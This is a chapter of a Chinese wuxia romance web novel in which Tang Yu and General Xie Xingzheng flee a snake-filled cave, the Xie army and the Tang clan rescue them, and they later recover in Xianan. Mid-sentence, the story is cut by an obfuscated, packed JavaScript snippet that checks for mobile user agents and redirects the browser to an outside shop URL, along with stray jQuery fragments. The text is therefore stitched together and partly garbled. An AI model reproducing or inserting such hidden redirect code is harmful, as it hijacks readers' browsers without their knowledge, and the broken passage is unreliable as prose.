74. 绮梦 五

作品:《江湖何曾骗真心

    铃声余音还未散,洞窟深处便传来慌乱的脚步声。


    唐雨面色微变,拉着谢行征往石缝中藏,将他压在岩壁上,几乎整个人都贴在他怀里。


    两人近得能听见彼此的呼吸。


    谢行征甚至嗅到她身上尚未干涸的血腥味,本想伸手稳住她的腰。可指尖刚动,又想起她方才不让自己碰的话语,只得默默收回。


    铃声还远,可黑暗深处,忽然传来一阵令人头皮发麻的奇怪窸窣。


    唐雨皱眉,侧头朝洞口狭缝望去,竟对上数十道细长幽绿的蛇瞳,宛若幽冥悬空的鬼火。


    她不知道外头聚了多少毒蛇,只见它们不断聚拢于洞口,冷冷吐着信,却并无探进之意,像是在等着猎物自投罗网。


    铃声渐近,也愈发密集,可最近的脚步声,却只有一人。


    “是月楹。”


    谢行征凝神静听片刻,给出答案。


    “她一个人?”唐雨眉不自觉微皱。


    即使两人负伤,对方手中还有对付自己的唤魂铃,可也绝无把握凭一己之力击杀两人。


    还不待她多想,月楹已举着唤魂铃,自深处摇铃而来。


    铃声如割魂。


    唐雨只觉脑中一阵钝痛,身子瞬间软下去,谢行征忙一把将她圈在怀中。


    可月楹却没有趁机出手,只像那群蛇一样安静地守在洞外,唇角勾着森冷弧度。


    她死死盯着洞口,听着背后密集而来的脚步声。


    突然,对着身后黑暗高喊道:“月息长老!你的圣女在这儿,正和谢家将军厮混呢。”


    她在引人来!


    谢行征立刻明白了月楹意图。她自己无法解决两人,于是,回头唤醒了那些南月叛党,要借他人之手击溃两人。


    若正面遇上这批南月死士,定然凶多吉少。


    “我们得出去。”谢行征沉声道。


    下一瞬,他眼中杀意上涌,抱住唐雨飞身而出。凌厉剑气荡开,斩断无数蛇躯,霎时血肉与腥气于空中飞溅开来。


    忽然,一道箭光冷电般破风袭来。


    “当!”的一声,谢行征长剑精准击飞那妄图偷袭的暗箭。可等其落地扭头,却见月楹身影一闪,竟已逃入黑暗之中。


    来不及追。


    而甬道深处,火把亮起,更是有无数人影蜂拥冲出。


    谢行征心头一紧:不能再拖。


    他拉着唐雨飞速往另一边奔去。


    “给我杀了谢家人……将圣女夺回来!”月息苍老的声音中,藏着压不住的怒意。


    南月人开始全力追击。


    可谢行征负着箭伤,又不熟地形,更要护着步履未稳的唐雨,不过数息后,便被追上围堵住了退路。


    他握剑挡在唐雨身前,恶战一触即发。


    唐雨看清情势,指尖微紧。


    如此多人围剿之下,即使谢行征武功再高,也会被生生拖死。


    她俯身靠近他耳侧,低声道:“你先走。”


    落在月息手里,她起码不会死,可他却一定会死。


    然而,对她的劝,谢行征像是完全未听见。


    一字未言,提剑便与冲上来的敌影交手。


    反肘击退扑上之人,而后剑刃横出,凭险而发的几招间,已逼退围上来的数人,甚至斩出几具尸体。


    即使如此,前仆后继,又十几道黑影扑身而来,谢行征终归还是被刀刃划破左臂。


    唐雨心念微动,正纠结是否要动用绮梦时。


    她敏锐察觉另一端甬道,有数条人影飞奔而来。


    转眼已至,竟是半途失踪的谢家军将士。


    “少将军!”


    他们剑势凌厉,提剑强攻,逼退数名南月死士,然后横剑护在两人身前,争出一线生机。


    “你们快走,我等断后!”


    “走!”


    谢行征没有犹豫,握剑横斩,反手拉住唐雨,径直冲向谢家军撕开的缺口。


    许久无人摇铃,唐雨恢复些气力,速度有所提升。再加上将士们死命断后守护,两人终于穿出甬道的黑暗,在前方望见微弱光亮。


    洞窟出口的风寒如刀刃,却满是久违的自由气息。


    然而刚踏出洞口,两人眉头齐齐皱起。


    外头的情况,竟同样不容乐观。


    半数留守洞外的谢家军,正与黑衣蛊人缠斗。见谢行征护着唐雨冲出,众人不再恋战,立刻收缩防线,朝遗址外撤去。


    南月地势险绝,林雾翻卷,夜色深沉得几乎能吞人。


    众人撤退的速度被迫放慢。


    死士与蛊人双重夹击下,众人也不知,究竟能否成功逃离南月,亦或会埋骨他乡。


    枝叶沙哑、虫鸣刺耳,一切仿佛都在象征着前路的死亡。


    可没有人抱怨,也没有人放弃。


    即使身负重伤,谢家军仍旧以血肉之躯,试图为两人搏出条生路。


    谢行征更是将唐雨护得极好,无论先前,还是如今。再危险,也没让她再受半分伤。


    她胸口却像被什么狠狠勒住。


    明明,绮梦蛊不断平复着情绪,将冷静与理性嵌入她的骨血。


    可她的血液仍开始发烫。


    杀意、绝望、鲜血……


    一切都逼迫着唐雨的本心,去动用那绮梦的力量。


    就在此时。


    仿若万点寒星撒落,又如骤雨撕裂夜幕。


    无数飞针又疾又密,破空而至,美得犹若天穹银花盛放。


    转瞬,没入追击之人的身体中。


    惨呼声几乎同时响起,无论是南月死士,还是蛊人,皆若被抽去生命的弦丝,动作骤滞,而后栽倒在地。


    他们被打了个措手不及,一时不敢上前,纷纷惊恐后退。


    谢家军趁势前压半步,稳稳结成护阵,将唐雨与谢行征护在后方。


    她比谁都熟悉,这是唐门的——


    暴雨梨花针。


    银光之雨尚未散尽,山风忽然扬起一角衣摆。


    黑夜中,传来比唤魂铃悦耳百倍的,熟悉的银器撞击声。


    唐雨抬头看去,不远处的枝头,一柄银伞稳稳撑开。


    冷光流转,伞面在月色映照下仿佛铺着漫天星海。


    执伞的唐忆晴,眼底温柔含笑,却藏着止不住的心疼,眼尾泛红。


    仿佛责备般,无奈道:“怎么把自己弄成这样?”


    唐雨心口狠狠一颤。


    而后,枝头竟跳下来两个小小的身影。


    “姐姐!”


    唐阳兴奋得满脸通红,边挥手边冲这边跑来。


    唐舸背着比人还高的箭囊,跑得气喘吁吁,亮着眼睛直喊:“唐雨姐!我们来救你了!”


    此刻,心脏似被猛地攥住。


    一种撕裂蛊性屏障的情绪,从唐雨胸腔深处“轰”地炸开。


    她喉咙发紧,眼眶灼热。


    即便她是南月人。


    即便她流的并非唐家的血。


    即便她曾给蜀中带来无数危机与不安。


    可唐门从没犹豫过,将她视作最重


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796943|180495||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要的家人。


    就像家主所言:唐门的人,是绝不容外人欺负的。


    所以,为了她。他们可以不计代价、不顾安危、不问缘由地,自蜀中千里奔袭,只为能站到她身后。


    唐门众人与谢家军并肩横阵,一时间人数、气势,皆远压过南月叛党。


    唐忆晴抬起银伞,直指对方,冷冷道:“本小姐带妹妹回家。有本事,就拦我们试试。”


    这句“回家”,如同重锤,彻底击碎了绮梦在人心深处筑起的冷漠之墙。


    唐雨指尖止不住地颤。


    胸口堵着的酸意翻涌而上,几乎让她喘不过气。


    她张了张口,却发不出声。


    可她从未如此清晰、如此肯定:


    她只想当唐雨,而非月绮梦。


    *


    跨入夏南地界的那一刻,唐雨仍恍若未醒。


    仿佛南月的血池、黑水、逼仄的暗洞,都被屋中的温暖与淡淡的木质香揉碎、冲淡,成了遥远又模糊的一场梦。


    耳边是唐阳的吵嚷,他正反反复复检查着唐雨身上的伤。


    “怎么都撞青紫了?唐舸,药膏呢?”


    “你先洗个手吧!脏死了,唐雨姐能答应你擦药吗?”


    “伤重要,洗手重要啊?”


    显然,唐阳在解毒后,整个人精气神都上去了,两个混世魔王又开始相互闹腾。除了围着她乱转半天,咋呼得她头疼,是半点治伤的进展也没有。


    “小雨,你这儿痛不痛?”


    唐忆晴出手,将两人拉开些后,指向唐雨胸口位置,“听说是被那月楹捅了一剑?”


    唐阳这才想起此事,忙急着上前问:“姐!没事吧?”


    唐雨轻轻摇头,示意无碍。


    谢行征站在不远处,看着这一幕,虽觉温馨,可喉间却有迟疑着开不了口的话。


    他不知该不该上前劝,告诉她们情由,叫她们避免调动唐雨的情绪。


    唐雨抬眼时,正好撞见他略显苍白的脸与微垂的眼睫。


    想到他的箭伤,唐雨转头道:“我没事。你们多关心关心,我救命恩人的伤吧。”


    话音刚落,唐阳仿佛被谁踩了尾巴,略带戒备地瞪向谢行征,不满道:“关心他干嘛?”


    “对啊。”唐舸理直气壮地附和,指向屋外端着药候着的将士,“他那么多下属,有的是人关心。”


    兄弟俩沆瀣一气,配合得天衣无缝。


    唐雨:“……”


    谢行征:“……”


    唐忆晴忍笑忍得肩膀都在抖。


    她比两个小的稳重得多,上前一步,对着谢行征抱拳行礼:“多亏谢将军救出唐雨。他们两个小孩心性,别太放在心上。”


    说着又招呼谢行征的部下进来,让人替他包扎伤口。


    血迹已干,箭伤、刀伤触目惊心。


    可谢行征的神情却始终平静,像疼痛从未在他身上占据过位置。


    他一边让下属包扎,一边看向唐忆晴,终于问心中的疑惑:“你们……怎么会来夏南?”


    唐忆晴目光柔柔地落在唐雨身上,带着些疼惜:“当然,是怕她出事。”


    她继续解释:“不久前,唐门收到萧公子差人急送的密信,想拜托司祸前往夏南。除蛊疫外,唐雨还被南月奸人所劫。我们实在放心不下,便跟着一同赶来。”


    “倒真是多亏他们。”唐雨淡淡道。


    她虽神色平静,可心底却泛起一阵微暖:


    唐雨,不仅有极好的家人,也有极好的朋友。